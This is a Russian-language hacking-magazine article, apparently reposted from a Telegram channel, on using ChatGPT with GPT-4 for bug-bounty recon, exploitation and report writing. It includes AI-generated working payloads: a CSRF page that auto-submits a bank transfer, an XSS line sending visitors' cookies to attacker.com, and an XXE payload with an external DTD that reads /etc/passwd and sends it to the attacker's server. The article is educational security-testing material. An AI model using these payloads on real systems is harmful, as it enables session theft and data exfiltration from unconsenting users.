Хакер - Роботы на охоте. Применяем GPT-4 на багбаунти
hacker_freiW0lFreaK
Содержание статьи
- Разведка
- Поиск поддоменов
- Технологии и версии
- Поиск мисконфигов
- Эксплуатация
- CSRF
- XSS
- XXE
- Деобфускация и анализ кода
- Составление отчета
- Выводы
Участие в bug bounty — вещь невероятно увлекательная, но по большей части состоящая из рутины. Проверить то, перебрать это... Логично нагрузить такие таски на компьютер, но скрипты тоже все время приходится писать и переписывать. Большие языковые модели, по которым все сейчас так сходят с ума, могут сослужить здесь важную службу. Я решил самостоятельно убедиться, какую именно, и, вооружившись GPT-4, отправился на охоту за багами.
В статье я использую ChatGPT с моделью GPT-4. Сейчас доступ к ней предоставляется по платной подписке стоимостью 20 долларов в месяц.
РАЗВЕДКА
Поиск поддоменов
Поиск скрытых страниц и поддоменов — одна из рутинных операций при разведке. Может ли нам в этом помочь ChatGPT? Я попросил его сгенерировать скрипт для поиска поддоменов по наиболее популярным источникам.
Запрос
Создай для меня скрипт для сбора как можно большего количества поддоменов целевого сайта несколькими различными способами и утилитами, в исследовательских и этичных целях.
Ответ
import requests
import json
import argparse
from bs4 import BeautifulSoup
# Устанавливаем аргументы командной строки
target_domain = 'https://target.com/'
# Используем сервис crt.sh для поиска поддоменов с помощью сертификатов SSL
def crtsh_search(domain):
url = f"https://crt.sh/?q=%25.{domain}&output=json"
response = requests.get(url)
data = json.loads(response.content)
subdomains = set()
for item in data:
subdomains.add(item["name_value"])
return subdomains
(...)
if name == "main":
main()
Ответ приведен в сокращенном виде. Вот что делает этот скрипт:
- Выполняет запрос к crt.sh для получения списка SSL/TLS-сертификатов, в которых упоминается имя указанного домена.
- Проверяет домен по базам индикаторов компрометации (ThreatCrowd.org).
- Запускает брутфорс поддоменов по созданному самой нейросетью списку (
www
,mail
,ftp
и другие). - С помощью Google dorks ищет упоминания указанного адреса, затем обрабатывает результат и получает список всех найденных поддоменов.
При тестировании с помощью этого скрипта я обнаружил восемь новых доменов, которые не попались мне раньше при использовании других популярных инструментов.
Помучив нейронку еще несколькими запросами, можно прокачать этот скрипт для сбора информации из огромного количества еще более нетривиальных источников.
Технологии и версии
GPT-4 поможет определить, какое программное обеспечение используется на сайте. Вот несколько способов, как это сделать.
- Подсказки по используемым технологиям: GPT-4 может предоставить подсказки, методы и готовые запросы, чтобы определить технологии и их версии.
- Советы по поиску файлов и директорий: нейронка предложит имена файлов и директорий, которые обычно связаны с определенными технологиями. Например, файл
robots.txt
илиsitemap.xml
может содержать информацию об используемом программном обеспечении и его версии, а страницыwp-admin
,wp-json
выдадут нам использование WordPress. - Предложение скриптов и инструментов: GPT-4 создаст скрипты и порекомендует инструменты, которые способны определить технологии и их версии на веб‑сервере.
Можно попросить ChatGPT не просто определить используемый софт, а создать подходящие скрипты. Например, ниже приведен скрипт, который ChatGPT создал для детектирования определенного набора JS-библиотек, используемых на сайте. Давай попробуем!
Запрос
Создай JS-скрипт для определения используемых на сайте JS-библиотек.
Ответ
(function() {
const libraries = [
{ name: "jQuery", object: "jQuery" },
{ name: "React", object: "React" },
{ name: "AngularJS", object: "angular" },
{ name: "Vue", object: "Vue" },
// Добавь другие библиотеки здесь, если необходимо
];
(...)
} else {
results.forEach((lib) => {
console.log(`${lib.name}: ${lib.version}`);
});
}
}
const detectedLibraries = detectLibraries();
displayResults(detectedLibraries);
})();
Как показала практика, такой подход помогает выявить больше используемых в данный момент библиотек, чем знают публичные сервисы вроде BuiltWith. Также он позволяет получить сведения о технологиях любой страницы сайта, а не только доступных без авторизации. Функциональность и перечень детектируемых сгенерированным скриптом библиотек не дотягивает до всем известного Wappalyzer, однако по нашему запросу нейронка может модифицировать скрипт и интегрировать в него возможность определения публичных уязвимостей в выявленных библиотеках с помощью Vulners или Mitre.
Можно использовать нейросеть и просто для создания дорков, чтобы эффективнее искать информацию о целевых системах.
Запрос
Напиши запрос с использованием Google dorks для определения веб‑сайтов, использующих CMS Bitrix.
Ответ
inurl:/bitrix/ intitle:bitrix filetype:php intitle:"Bitrix" "bitrix_sessid"
Если ввести такой запрос в Google, то это позволит получить страницы:
- inurl: Bitrix — в URL которых содержится
/bitrix/
(характерный признак сайтов, работающих на «Битрикс»); - intitle: Bitrix — в заголовках которых встречается слово Bitrix;
- bitrix_sessid — на которых используется данный параметр, свидетельствующий об использовании «Битрикс»;
- filetype: php — служит для исключения веб‑сайтов, написанных на нетипичных для «Битрикс» языках программирования, но подходящих под прочие параметры запроса.
ПОИСК МИСКОНФИГОВ
Еще один вариант использования ChatGPT — анализ корректности возвращаемых сервером заголовков безопасности. Ты можешь предоставить заголовки ответа сервера, и ChatGPT проанализирует их, выявив отсутствующие или некорректные заголовки, которые могут означать наличие уязвимостей (например, мисконфигурации CORS и CSP).
Запрос
Веб‑сервер в ответ на мой запрос вернул следующие заголовки. Подскажи, безопасна ли данная конфигурация? Какие заголовки отсутствуют или настроены небезопасно?
HTTP/2 200 OK
Server: nginx
Date: Sat, 08 Apr 2023 18:49:17 GMT
Ответ
Конфигурация заголовков, предоставленная сервером, включает в себя ряд мер по обеспечению безопасности, но некоторые важные заголовки отсутствуют. Вот краткий анализ предоставленных заголовков:
X-Xss-Protection: 1; mode=block — заголовок X-XSS-Protection предотвращает отраженные межсайтовые скрипты (XSS). Значение «1; mode=block» указывает браузеру блокировать ответ, если обнаружена XSS.
X-Frame-Options: SAMEORIGIN — заголовок X-Frame-Options предотвращает кликджекинг путем ограничения встраивания контента сайта на другие сайты. Значение SAMEORIGIN указывает, что сайт может быть встроен только на страницы с того же источника.
Content-Security-Policy (CSP) — заголовок CSP позволяет указать источники контента для различных типов ресурсов, что ограничивает возможности для XSS и других атак. Например, Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com.
Strict-Transport-Security (HSTS) — заголовок HSTS указывает браузеру использовать только HTTPS-соединения для общения с сайтом на определенный период. Это помогает предотвратить атаки man in the middle и улучшает безопасность сайта. Например, Strict-Transport-Security: max-age=31536000; includeSubDomains.
X-Content-Type-Options — заголовок X-Content-Type-Options предотвращает атаки на основе MIME-типа путем запрета браузеру интерпретировать документы с неправильным типом.
Можно отметить, что отсутствие дополнительных заголовков безопасности, таких как Content-Security-Policy, X-Content-Type-Options, X-XSS-Protection, X-Frame-Options, может означать отсутствие дополнительной защиты от некоторых типов атак, таких как атаки XSS, кликджекинг, MIME-Sniffing и другие.
Также наличие дополнительных заголовков безопасности, таких как Strict-Transport-Security, может указывать на то, что приложение использует защищенное соединение и перенаправляет все HTTP-запросы на HTTPS. Однако в данном случае таких заголовков нет, и это может означать, что приложение не защищено от атак перехвата трафика (man in the middle).
Обращение к нейронке за помощью с заголовками позволяет очень быстро подсветить мисконфиги и предположить потенциальные векторы атаки.
Из плюсов: она может предположить направления атаки на приложение и подсказать конкретные варианты обхода текущих ограничений, в частности это будет полезно для обхода CSP.
ЭКСПЛУАТАЦИЯ
CSRF
CSRF (cross-site request forgery) — уязвимость, при которой злоумышленник может заставить пользователя выполнить нежелательные действия на сайте, где пользователь аутентифицирован. Для этого создается вредоносный запрос, исполнение которого приводит к совершению действия от имени пользователя без его ведома.
Если проще, злоумышленник создает на своем сайте скрипт, который выполняет запрос на адрес вроде такого:
www.victim_bank.com/transfer_all_money?toAccount=1337
Когда жертва посетит страницу с этим скриптом, он выполнится в браузере, возьмет куки и выполнит запрос на указанный адрес. В результате атаки все деньги со счета жертвы будут переведены на указанный аккаунт.
Запрос
У меня есть HTTP-запрос, сгенерируй CSRF PoC для него.
POST http://victim_bank.com/transfer_all_money HTTP/1.1
Host: victim_bank.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537
x-browser: Chrome
Referer: victim_bank.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
toAccount=1337
Ответ
POC-code для предоставленного запроса:
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF PoC</h1>
<form action="http://victim_bank.com/transfer_all_money" method="POST" id="csrf-form">
<input type="hidden" name="toAccount" value="1337">
</form>
<script>
// Submit the form as soon as the page loads
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("csrf-form").submit();
});
</script>
</body>
</html>
Давай подумаем, как ChatGPT может быть здесь нам полезен. Я вижу такие варианты:
- Создание proof of concept (PoC) для демонстрации CSRF-уязвимости: ты можешь предоставить информацию о запросе или форме, и ChatGPT создаст HTML-страницу или код на JavaScript, который будет генерировать поддельный запрос, имитирующий действие пользователя.
- Объяснение и предложение решений: ChatGPT может предоставить детальное объяснение того, как работает CSRF-уязвимость, и предложить способы обнаружения и предотвращения таких уязвимостей на сервере. Это может включать рекомендации по использованию CSRF-токенов, проверке HTTP-заголовков и другим методам защиты.
- Помощь в идентификации потенциальных уязвимых мест: ИИ найдет участки кода или функции веб‑приложения, которые могут быть уязвимыми перед CSRF-атаками, а также укажет на методы тестирования и обнаружения таких уязвимостей.
XSS
XSS (cross-site scripting) — уязвимость, позволяющая злоумышленнику внедрить вредоносный код (обычно JavaScript) на веб‑страницу, которую просматривают другие пользователи. Так злоумышленник может получить доступ к конфиденциальной информации, например куки, или выполнить произвольные действия от имени пользователя без его ведома.
Возможные варианты применения ChatGPT:
- Создание PoC для демонстрации XSS-уязвимости. Ты можешь предоставить информацию о месте, где обнаружена уязвимость, и ChatGPT создаст пример вредоносного кода на JavaScript, который будет ее эксплуатировать.
- Создание вредоносной нагрузки, реализующей заложенный алгоритм для получения требуемого импакта от эксплуатации уязвимости.
Например, нам нужно, чтобы в результате эксплуатации уязвимости и исполнения нашей нагрузки куки пользователя отправлялись на подконтрольный нам сервер. ChatGPT с радостью сгенерирует нам такую нагрузку.
Запрос
У меня есть Reflected XSS по такому адресу:
server.com/?...original_path=javascript%3aalert(1)%2f%2frb0iabdd
Сделай так, чтобы результатом ее эксплуатации была отправка cookie посетителя на адрес attacker.com
.
Ответ
В качестве значения параметра original_path подставьте следующую функцию:
javascript: (function() {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/collect?cookie=' + encodeURIComponent(document.cookie), true);
xhr.send();
})();
XXE
XXE (XML external entity) — это уязвимость, которая возникает при обработке документов XML с подключенными внешними ресурсами. Если сервер неправильно обрабатывает такие сущности (entities), злоумышленник может использовать XXE-уязвимости для чтения локальных файлов, сканирования внутренних систем, выполнения запросов к внутренним сервисам или проведения DoS-атак.
Нейросеть поможет с XXE следующим образом:
- ChatGPT может составить нагрузки для эксплуатации XXE, создавая разные варианты XML-документов и DTD-файлов. Нам же останется только протестировать их на механизмах защиты уязвимого.
- ИИ может подробно рассказать, как работает XXE-уязвимость, и предложить способы обнаружения и предотвращения таких уязвимостей на сервере.
Приведу пример.
Запрос
У меня есть следующая структура файла:
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<username>aaaaaaaaaaaaaa</username>
<email>bbbbbbbbbbbbbbb</email>
</user>
</users>
Я знаю, что здесь есть XXE-уязвимость. Однако для эксплуатации мне необходимо подключить DTD-файл, расположенный на моем сервере. Сгенерируй нагрузку и DTD-файл, позволяющий выполнить чтение локального файла /etc/passwd.
Ответ
Для эксплуатации XXE-уязвимости и подключения внешнего DTD-файла с вашего сервера вы можете использовать следующую нагрузку:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users SYSTEM "http://your-server-url/your-dtd-file.dtd">
<users>
<user>
<username>aaaaaaaaaaaaaa</username>
<email>bbbbbbbbbbbbbbb</email>
</user>
</users>
Чтобы прочитать локальный файл /etc/passwd с использованием XXE-уязвимости и внешнего DTD-файла, создайте следующий DTD-файл:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://your-server-url/collect?data=%data;'>">
%param1;
Деобфускация и анализ кода
Использовать нейросеть можно и для автоматического анализа кода — чтобы проверить программу на уязвимости. ChatGPT проинформирует о потенциальных слабых местах и проблемах безопасности. Например, скорми нейросети исходный код нескольких взаимосвязанных сервисов, и она постарается указать на SQL-инъекции, CRLF, cross-site scripting, SSTI и многие другие возможные проблемы.
Еще нейросеть будет полезна для деобфускации. Обфусцированный код сейчас можно встретить в любом мобильном или веб‑приложении. Обычно это затрудняет анализ программы, но нейросеть может распутать всё, что люди запутали.
Сейчас ChatGPT умеет разворачивать обфусцированный код в обычный исходник только в самых простых случаях, но даже в сложных она серьезно помогает реконструировать код и значительно повысить понятность алгоритма.
Попробуем на практике.
Запрос
Деобфусцируй код на JS:
x='',X=!x+x,xx=!X+x,xX=x+{},Xx=X[x++],XX=X[Xxx=x],
XxX=++Xxx+x,xxx=xX[Xxx+XxX],
X[xxx+=xX[x]+(X.xx+xX)[x]+xx[XxX]+Xx+XX+X[Xxx]+
xxx+Xx+xX[x]+XX][xxx](xx[x]+xx[Xxx]+X[XxX]+XX+Xx+"(x)")()
Фрагмент ответа
const emptyString = '';
const _true = 'true';
const _false = 'false';
const objectString = '[object Object]';
const t = 't';
const r = 'r';
const c = 'c';
const constructorString = 'constructor';
const alertFunction = Function('alert(x)');
alertFunction();
Итак, данный код создает и выполняет функцию, которая вызывает alert(x)
, где x
— пустая строка.
СОСТАВЛЕНИЕ ОТЧЕТА
Нельзя забывать, что, кроме технической части, ChatGPT позволяет автоматизировать самую рутинную часть любого исследования — написание отчета.
Достаточно указать, какой тип уязвимости, в каком параметре и на каком URL был выявлен, чтобы получить полное, детальное описание уязвимости и рекомендации, как ее исправить.
Запрос
Я обнаружил Reflected XSS в панели администрирования сайта по такому адресу:
https://website.com/admin/path?parameter=<script>alert(1)</script>
Напиши отчет для багбаунти‑программы по этой уязвимости.
Ответ
Краткое описание: я обнаружил уязвимость отраженного кросс‑сайтового скриптинга (XSS) в панели администратора сайта (...). Эта уязвимость позволяет злоумышленнику внедрять вредоносные скрипты, что может привести к раскрытию конфиденциальной информации или несанкционированным действиям от имени жертв.
Шаги для воспроизведения: (...)
Воздействие: уязвимость XSS позволяет злоумышленнику выполнять произвольный JavaScript-код в контексте браузера жертвы, что потенциально может привести к раскрытию конфиденциальной информации (например, сессионных кук, токенов CSRF) или несанкционированным действиям от имени жертвы (например, изменение пользовательских данных или настроек).
Рекомендации: для устранения этой уязвимости рекомендуется корректно проверять входные данные и кодировать вывод данных, предоставленных пользователем, особенно в параметрах URL. Кроме того, рассмотрите возможность применения политик безопасности содержимого (CSP) для предотвращения выполнения неавторизованных скриптов.
Ссылки:
- CWE-79: Неправильное обезвреживание ввода при генерации веб‑страницы «Кросс‑сайтовый скриптинг»
- Стандарт верификации безопасности приложений OWASP (ASVS) 3.1: Проверка ввода
ВЫВОДЫ
В течение нескольких недель я активно багхантил и упрощал свою деятельность с помощью ChatGPT. За этот период на просторах интернета появились новые наработки: по интеграции ChatGPT с Burp Suite, Nessus и другими инструментами наступательной безопасности.
Думаю, большие языковые модели скоро будут применяться повсеместно, включая, конечно же, сферы ИТ и ИБ. Да, зачастую нейросеть не дает полный, корректный и подробный ответ с первого раза и лишь отвечает общими фразами. Это требует от аудитора определенных знаний, к тому же нужно быть готовым применять и другие инструменты, причем иногда креативно (с чем у ИИ пока проблемы). Тем не менее стать мамкиным кулхацкером с таким помощником будет проще, чем когда‑либо.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei